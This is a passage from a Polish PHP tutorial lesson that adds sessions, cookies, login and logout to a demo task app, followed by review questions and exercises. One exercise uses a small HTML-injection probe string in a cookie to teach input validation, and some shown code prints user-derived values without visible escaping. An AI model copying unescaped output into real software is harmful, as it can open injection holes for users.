                'wykonane' =&gt; false,
                'xp' =&gt; (int) $xpZadania
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Nowe zadanie&lt;/h2&gt;
        &lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZapisu !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się dodać zadania: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;label for="termin"&gt;Termin *&lt;/label&gt;
            &lt;input type="date" id="termin" name="termin" required value="&lt;?= $terminZadania; ?&gt;"&gt;

            &lt;label for="xp"&gt;Nagroda XP (1–100) *&lt;/label&gt;
            &lt;input type="number" id="xp" name="xp" min="1" max="100" required value="&lt;?= $xpZadania; ?&gt;"&gt;

            &lt;button type="submit"&gt;Dodaj zadanie&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane użytkownika (z sesji — zapisane przy logowaniu w zaloguj.php) ---
$imieUzytkownika = $_SESSION&#91;'imie'];
$login = $_SESSION&#91;'login'];


// --- dane zadań (z pliku CSV) ---
$zadania = &#91;];
$bladZadan = null;

try {
    $zadania = wczytajZadania(PLIK_ZADAN);
} catch (Exception $wyjatek) {
    $bladZadan = $wyjatek-&gt;getMessage();
}


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
$procentPostepu = obliczProcentPostepu($xpWAktualnymPoziomie);
$brakujeXp = ileBrakujeXp($xp, $poziom);

//pasek postępu
$liczbaAktywnychSegmentow = (int) ($procentPostepu / 10);
$progNastepnegoPoziomu = $poziom * XP_NA_POZIOM;


// --- wywołania funkcji: lista zadań ---
$wykonaneZadania = pobierzWykonaneZadania($zadania);
$aktywneZadania = pobierzAktywneZadania($zadania);

$liczbaWszystkich = count($zadania);
$liczbaWykonanych = count($wykonaneZadania);
$liczbaAktywnych = count($aktywneZadania);

$xpDoZdobycia = sumujXp($aktywneZadania);

$zadaniaWgTerminu = sortujPoTerminie($zadania);
$aktywneWgTerminu = sortujPoTerminie($aktywneZadania);
$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);

// uproszczenie (symulacja): aktywność = wykonane jakiekolwiek zadanie z listy
$zadanieWykonane = $liczbaWykonanych &gt; 0;

$streak = aktualizujStreak($streak, $dataOstatniejAktywnosci, $zadanieWykonane);


// --- widok listy: z adresu strony (GET) albo zapamiętany w ciasteczku ---
$filtr = $_GET&#91;'filtr'] ?? $_COOKIE&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

if (isset($_GET&#91;'filtr'])) {
    setcookie('filtr', $filtr, time() + CZAS_PAMIETANIA_WIDOKU);
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};


// --- komunikat jednorazowy (z sesji) ---
$komunikat = pobierzKomunikat();


// --- prezentacja ---
$nazwaStrony = 'TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;?php if ($komunikat !== '') { ?&gt;
        &lt;p class="sukces"&gt;&lt;?= $komunikat; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;p&gt;Zdobywaj punkty za wykonane zadania!&lt;/p&gt;

        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $login; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;form method="post" action="wyloguj.php"&gt;
            &lt;button type="submit"&gt;Wyloguj&lt;/button&gt;
        &lt;/form&gt;

        &lt;h2&gt;Witaj, &lt;?= $imieUzytkownika; ?&gt;!&lt;/h2&gt;

        &lt;p&gt;Poziom: &lt;strong&gt;&lt;?= $poziom; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Tytuł: &lt;strong&gt;&lt;?= $tytul; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $xp; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h3&gt;
            &lt;?= "Masz $xpWAktualnymPoziomie XP z " . XP_NA_POZIOM . " XP potrzebnych do poziomu " . ($poziom + 1) . " (" . round($procentPostepu, 2) . "%)"; ?&gt;
        &lt;/h3&gt;

        &lt;div class="pasek-xp"&gt;
            &lt;?php
            for ($segment = 1; $segment &lt;= 10; $segment++) {
                if ($segment &lt;= $liczbaAktywnychSegmentow) {
                    echo "█";
                } else {
                    echo "░";
                }
            }
            ?&gt;
        &lt;/div&gt;

        &lt;p&gt;Kolejny próg: &lt;?= $progNastepnegoPoziomu; ?&gt; XP&lt;/p&gt;
        &lt;p&gt;Brakuje XP: &lt;strong&gt;&lt;?= $brakujeXp; ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $streak ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się wczytać zadań: &lt;?= $bladZadan; ?&gt;&lt;/p&gt;
        &lt;?php } else { ?&gt;

        &lt;p&gt;
            Wszystkie: &lt;strong&gt;&lt;?= $liczbaWszystkich; ?&gt;&lt;/strong&gt; |
            Wykonane: &lt;strong&gt;&lt;?= $liczbaWykonanych; ?&gt;&lt;/strong&gt; |
            Aktywne: &lt;strong&gt;&lt;?= $liczbaAktywnych; ?&gt;&lt;/strong&gt;
        &lt;/p&gt;
        &lt;p&gt;XP do zdobycia z aktywnych zadań: &lt;strong&gt;&lt;?= $xpDoZdobycia; ?&gt;&lt;/strong&gt;&lt;/p&gt;

        &lt;?php
        if ($liczbaWszystkich === 0) {
            echo "&lt;p&gt;Brak zadań.&lt;/p&gt;";
        } elseif ($liczbaAktywnych === 0) {
            echo "&lt;p&gt;Wszystkie zadania wykonane — świetna robota!&lt;/p&gt;";
        } else {
            if ($xpDoZdobycia &gt;= $brakujeXp) {
                echo "&lt;p class=\"awans\"&gt;Wykonując aktywne zadania, awansujesz na poziom " . ($poziom + 1) . "!&lt;/p&gt;";
            } else {
                echo "&lt;p&gt;Aktywne zadania nie wystarczą jeszcze na awans — brakuje " . ($brakujeXp - $xpDoZdobycia) . " XP.&lt;/p&gt;";
            }

            $najpilniejsze = $aktywneWgTerminu&#91;0];
            echo "&lt;p&gt;Najpilniejsze zadanie: &lt;strong&gt;" . wyczyscTytul($najpilniejsze&#91;'tytul']) . "&lt;/strong&gt; — "
                . komunikatTerminu($najpilniejsze&#91;'termin']) . "&lt;/p&gt;";
        }

        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";
        echo "&lt;p&gt;Pokaż: &lt;a href=\"index.php?filtr=wszystkie\"&gt;wszystkie&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=aktywne\"&gt;aktywne&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=wykonane\"&gt;wykonane&lt;/a&gt;&lt;/p&gt;";
        echo "&lt;p&gt;Widok: &lt;strong&gt;$filtr&lt;/strong&gt;&lt;/p&gt;";

        if ($liczbaWszystkich &gt; 0 &amp;&amp; count($zadaniaDoWyswietlenia) === 0) {
            echo "&lt;p&gt;Brak zadań w tym widoku.&lt;/p&gt;";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {
            $tytulCzysty = wyczyscTytul($zadanie&#91;'tytul']);
            $znacznik = $zadanie&#91;'wykonane'] ? "&#91;X]" : "&#91; ]";
            $klasa = $zadanie&#91;'wykonane'] ? "zadanie wykonane" : "zadanie";

            echo "&lt;div class=\"$klasa\"&gt;";
            echo "&lt;p&gt;&lt;strong&gt;$znacznik $tytulCzysty&lt;/strong&gt; — {$zadanie&#91;'xp']} XP&lt;/p&gt;";
            echo "&lt;p&gt;" . skrocOpis($zadanie&#91;'opis'], 50) . "&lt;/p&gt;";
            echo "&lt;p&gt;Termin: {$zadanie&#91;'termin']}";

            if (!$zadanie&#91;'wykonane']) {
                echo " — " . komunikatTerminu($zadanie&#91;'termin']);
            }

            echo "&lt;/p&gt;";

            if (stripos($tytulCzysty, 'PHP') !== false) {
                echo "&lt;p&gt;To zadanie dotyczy PHP.&lt;/p&gt;";
            }

            echo "&lt;/div&gt;";
        }
        ?&gt;
        &lt;?php } ?&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.4&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Jedyna zmiana: w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzą <code class="prettyprint lang-sql" style="font-size: 0.85em;">'zaloguj.php'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wyloguj.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_sesji.php'</code> (razem <strong>15</strong> ścieżek). Reszta pliku bez zmian — nadal bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> i bez sprawdzania logowania.</p>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika, $login          // te same nazwy i znaczenie — zmienia się tylko źródło wartości (sesja)
$xp, $poziom, $tytul, $xpWAktualnymPoziomie, $procentPostepu, $brakujeXp,
$liczbaAktywnychSegmentow, $progNastepnegoPoziomu
$streak, $dataOstatniejAktywnosci, $zadanieWykonane
$zadania, $bladZadan, $wykonaneZadania, $aktywneZadania, $liczbaWszystkich, $liczbaWykonanych,
$liczbaAktywnych, $zadaniaWgTerminu, $aktywneWgTerminu, $wykonaneWgTerminu, $xpDoZdobycia
$filtr, $zadaniaDoWyswietlenia
$nazwaStrony
// dodaj-zadanie.php: $tytulZadania, $opisZadania, $terminZadania, $xpZadania, $bledy, $bladZapisu
define('XP_NA_POZIOM', 100), define('PLIK_ZADAN', ...)

wszystkie funkcje z Lekcji 1–13 — kod bez zmian (walidujLogin() przeniosła się z index.php do logowania)
struktura tablicy $zadania i format data/zadania.csv
obsługa awarii pliku (try/catch), walidacja formularza (tablica $bledy), wzorzec POST → przekierowanie → GET
</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// includes/funkcje_sesji.php (nowy plik)
czyZalogowany()           // true, gdy w sesji jest 'login'
wymagajLogowania()        // niezalogowany → przekierowanie na zaloguj.php + exit
ustawKomunikat()          // komunikat jednorazowy do $_SESSION&#91;'komunikat']
pobierzKomunikat()        // odczyt komunikatu i usunięcie go z sesji ('' = brak)

// includes/funkcje_tekstowe.php
walidujDaneLogowania()    // tablica komunikatów; login sprawdza przez walidujLogin()

// zaloguj.php (nowy plik): $login, $imieUzytkownika (dane z formularza), $bledy
// wyloguj.php (nowy plik)

// index.php
$komunikat                // wynik pobierzKomunikat()

// sesja: $_SESSION&#91;'login'], $_SESSION&#91;'imie'], $_SESSION&#91;'komunikat']
// cookie: filtr (30 dni)
// config/config.php
define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30)
</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia PHP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">time()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code> na elemencie sesji, <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_name()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_destroy()</code>, łańcuch operatorów <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> wewnątrz funkcji.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> na początku; <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> z sesji; blok „Login poprawny / niepoprawny” zastąpiony przez „Zalogowano jako &#8230;” i przycisk „Wyloguj”; komunikat jednorazowy na górze panelu; <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> odczytywany z adresu <strong>albo</strong> z ciasteczka i zapisywany do ciasteczka,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>, po zapisie <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat()</code> i przekierowanie na samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>: nowa stała,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.4</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 15 wymaganych plików.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane</code></strong> (i parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>) — komunikat „Zadanie zostało dodane.” przeniósł się do sesji; parametr w adresie dawał się podrobić i nie znikał po odświeżeniu.</li>



<li><strong>Blok „Login poprawny: &#8230; / Login jest niepoprawny.”</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — login trafia do sesji tylko po sprawdzeniu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, więc w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> warunek byłby zawsze prawdziwy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> zostaje i jest używana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>.</li>



<li><strong>Wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">"Kama"</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">"Kama_2026"</code> wpisane na sztywno</strong> — zastąpione danymi zalogowanego użytkownika (zmienne zostają).</li>
</ul>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 14 TaskQuest wie, kto z niego korzysta. Strona główna i formularz dodawania są dostępne tylko po zalogowaniu (wersja demonstracyjna: login sprawdzany przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> i imię, bez hasła); login i imię są przechowywane w sesji po stronie serwera, a przy logowaniu identyfikator sesji jest zmieniany. Wylogowanie (tylko przez POST) usuwa dane sesji, jej ciasteczko i plik na serwerze. Komunikaty „Zadanie zostało dodane.” i „Zalogowano&#8230;” pojawiają się dokładnie raz i nie da się ich wywołać adresem. Wybrany widok listy jest zapamiętywany w ciasteczku przez 30 dni, a jego wartość — jak każda dana od użytkownika — jest sprawdzana przed użyciem.</p>
</blockquote>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię wyjaśnić, dlaczego zwykła zmienna PHP nie przetrwa do następnego żądania.
&#91; ] Wiem, gdzie leży cookie, a gdzie dane sesji, i co przechowuje ciasteczko PHPSESSID.
&#91; ] Wiem, dlaczego $_COOKIE sprawdzam jak $_GET, a tego, co sam zapisałam/zapisałem w $_SESSION — nie.
&#91; ] Wiem, że setcookie() i session_start() wysyłają nagłówki — muszą być przed HTML.
&#91; ] Wiem, że ciasteczko ustawione teraz zobaczę w $_COOKIE dopiero w następnym żądaniu.
&#91; ] Mam funkcje_sesji.php z czterema funkcjami i walidujDaneLogowania(); Test 1 i Test 2 się zgadzają.
&#91; ] index.php i dodaj-zadanie.php bez logowania przenoszą na zaloguj.php (Test 3).
&#91; ] Wylogowanie działa tylko przyciskiem (POST), usuwa sesję i jej ciasteczko (Test 4).
&#91; ] Komunikat po dodaniu zadania i po logowaniu pojawia się raz; ?dodano=1 nic nie robi (Test 5).
&#91; ] Widok listy jest pamiętany; zmienione w F12 ciasteczko nie psuje strony (Test 6).
&#91; ] diagnostyka.php pokazuje 15 razy &#91;OK]; strona główna jak po Lekcji 13 (Test 7).
&#91; ] Potrafię wyjaśnić, co pokazał Eksperyment 5 (przejęcie sesji) i Eksperyment 6 (exit).
&#91; ] Usunęłam/usunąłem brudnopisy i ich ciasteczka.
</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<ol class="wp-block-list">
<li><br /><p>Otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> pierwszy raz w nowej przeglądarce. Opisz po kolei, co dzieje się z sesją: co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, jakie ciasteczko dostaje przeglądarka, co powstaje na serwerze i dokąd ostatecznie trafia użytkownik.</p><br /></li>



<li><br /><p>Przewidź, co wypisze ten kod przy <strong>pierwszym</strong> i przy <strong>drugim</strong> otwarciu strony:</p><br /><pre><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />setcookie('kolor', 'zielony');<br />$_SESSION['kolor'] = 'niebieski';<br />echo $_COOKIE['kolor'] ?? 'brak';<br /></code></pre><br /><p>W kodzie jest jeszcze jeden błąd dotyczący sesji — jaki? Czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">niebieski</code> będzie dostępny przy drugim otwarciu?</p><br /></li>



<li><br /><p>Kolega proponuje: „Zamiast sesji zapiszmy po logowaniu ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">login=Kama_2026</code> na 30 dni — użytkownik nie będzie musiał się logować”. Co może zrobić dowolny użytkownik z taką aplikacją? Dlaczego z widokiem listy w ciasteczku takiego problemu nie ma?</p><br /></li>



<li><br /><p>Dlaczego w <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> najpierw zapisujemy komunikat w zmiennej, a dopiero potem wywołujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code>? Co by się stało, gdyby w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> wywołać <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> dwa razy — raz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, raz przy wypisywaniu?</p><br /></li>



<li><br /><p>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> odczytujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> — z <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>. Wyjaśnij, dlaczego oba zapisy są poprawne.</p><br /></li>



<li><br /><p>Co się stanie, jeśli z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> usuniesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>? Dlaczego użytkownik „nic nie zauważy”, a mimo to aplikacja jest dziurawa (Eksperyment 6)?</p><br /></li>



<li><br /><p>Ktoś wpisze w pasek adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Co się stanie i dlaczego tak to zaprojektowaliśmy? Którą regułę z Lekcji 13 stosujemy?</p><br /></li>



<li><br /><p>Wymień trzy kroki pełnego zakończenia sesji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>. Czego brakowałoby, gdyby był tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION = [];</code>?</p><br /></li>



<li><br /><p>Po co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code> i dlaczego akurat tuż przed zapisaniem loginu do sesji?</p><br /></li>



<li><br /><p>Kama wybrała widok „aktywne”, wylogowała się, a przy tym samym komputerze zalogowała się Ola. Jaki widok zobaczy Ola i dlaczego? Jak zmieniłoby się to, gdyby widok był zapisany w sesji?</p><br /></li>



<li><br /><p>Adres <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wykonane</code> i ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr=aktywne</code> pojawiają się jednocześnie. Jaki widok zobaczy użytkownik i jaka wartość zostanie w ciasteczku?</p><br /></li>
</ol>



<h1 class="wp-block-heading">Zadanie końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Wybierz <strong>jedno</strong> (albo więcej):</p>



<p class="wp-block-paragraph"><strong>A) „Zapamiętaj mój login”.</strong> Na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> dodaj pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="checkbox" name="zapamietaj" value="1"&gt;</code> z etykietą „Zapamiętaj mój login na tym komputerze”. Po udanym logowaniu:</p>



<ul class="wp-block-list">
<li>gdy pole jest zaznaczone — zapisz login w ciasteczku <code class="prettyprint lang-sql" style="font-size: 0.85em;">ostatniLogin</code> na 30 dni,</li>



<li>gdy nie jest — usuń to ciasteczko.</li>
</ul>



<p class="wp-block-paragraph">Przy wejściu na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (przed wysłaniem formularza) wstaw login z ciasteczka do pola loginu — <strong>ale tylko wtedy, gdy przechodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code></strong> (ciasteczko to dane od użytkownika). Checkbox ma być zaznaczony, gdy ciasteczko istnieje. Pytania do przemyślenia: dlaczego ciasteczko może <strong>podpowiedzieć</strong> login, ale nie może <strong>zalogować</strong> użytkownika bez formularza? Co by się stało, gdyby ktoś w F12 wpisał w <code class="prettyprint lang-sql" style="font-size: 0.85em;">ostatniLogin</code> tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">"&gt;&lt;b&gt;x&lt;/b&gt;</code> — i dlaczego sprawdzenie przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> akurat tu pomaga (zob. Eksperyment 5 z Lekcji 13)?</p>



<p class="wp-block-paragraph"><strong>B) Automatyczne wylogowanie po bezczynności.</strong> Użytkownik, który przez 15 minut nie otworzył żadnej strony TaskQuest, ma zostać wylogowany. Wskazówki: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> stała z czasem w sekundach; w sesji klucz z czasem ostatniej aktywności (<code class="prettyprint lang-sql" style="font-size: 0.85em;">time()</code>), ustawiany przy logowaniu i przy każdym wejściu na stronę dla zalogowanych; w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> porównanie z aktualnym czasem. Po wygaśnięciu użytkownik ma trafić na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i zobaczyć komunikat „Sesja wygasła — zaloguj się ponownie.”. Uwaga: żeby komunikat przetrwał, <strong>nie niszcz</strong> całej sesji — usuń z niej tylko klucze użytkownika i ustaw komunikat, a na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> go wyświetl. Do testów ustaw czas na 20 sekund. Dlaczego sprawdzamy czas na serwerze, a nie ustawiamy po prostu krótkiego czasu życia ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>?</p>



<p class="wp-block-paragraph"><strong>C) Jeśli robiłaś/robiłeś zadanie końcowe A z Lekcji 13 („Zrobione!”):</strong> przerób <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> tak, żeby działał tylko dla zalogowanych i zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">?wykonano=1</code> używał komunikatu jednorazowego. Po zmianie adres <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?wykonano=1</code> nie może niczego pokazywać.</p>



<p class="wp-block-paragraph">Nie potrzebujesz niczego, czego nie poznałaś/poznałeś do tej pory.</p>



<h1 class="wp-block-heading">Most do Lekcji 15</h1>



<p class="wp-block-paragraph">TaskQuest pamięta już użytkownika, ale spójrz, jak rozproszone są dane o nim:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION&#91;'login'], $_SESSION&#91;'imie']        →  kim jest (sesja)
$xp, $streak, $dataOstatniejAktywnosci        →  jego postęp (zmienne w index.php, na sztywno)
obliczPoziom($xp), pobierzTytul($poziom), ... →  co z tych danych wynika (funkcje w innym pliku)
</code></pre>



<p class="wp-block-paragraph">Podobnie z zadaniem: tablica z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane'</code>&#8230; i osobno funkcje, które „wiedzą”, jakie klucze ma ta tablica. Nic nie pilnuje, żeby ktoś nie wpisał <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytuł'</code> z polską literą albo nie zapomniał klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">'xp'</code>.</p>



<p class="wp-block-paragraph">W Lekcji 15 połączymy dane i działania na nich w jedną całość: zadanie i użytkownik staną się <strong>obiektami</strong>, które same wiedzą, co zawierają i co potrafią. To programowanie obiektowe.</p>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h1 class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h1 id="dodatek" class="wp-block-heading">W skrócie</h1>



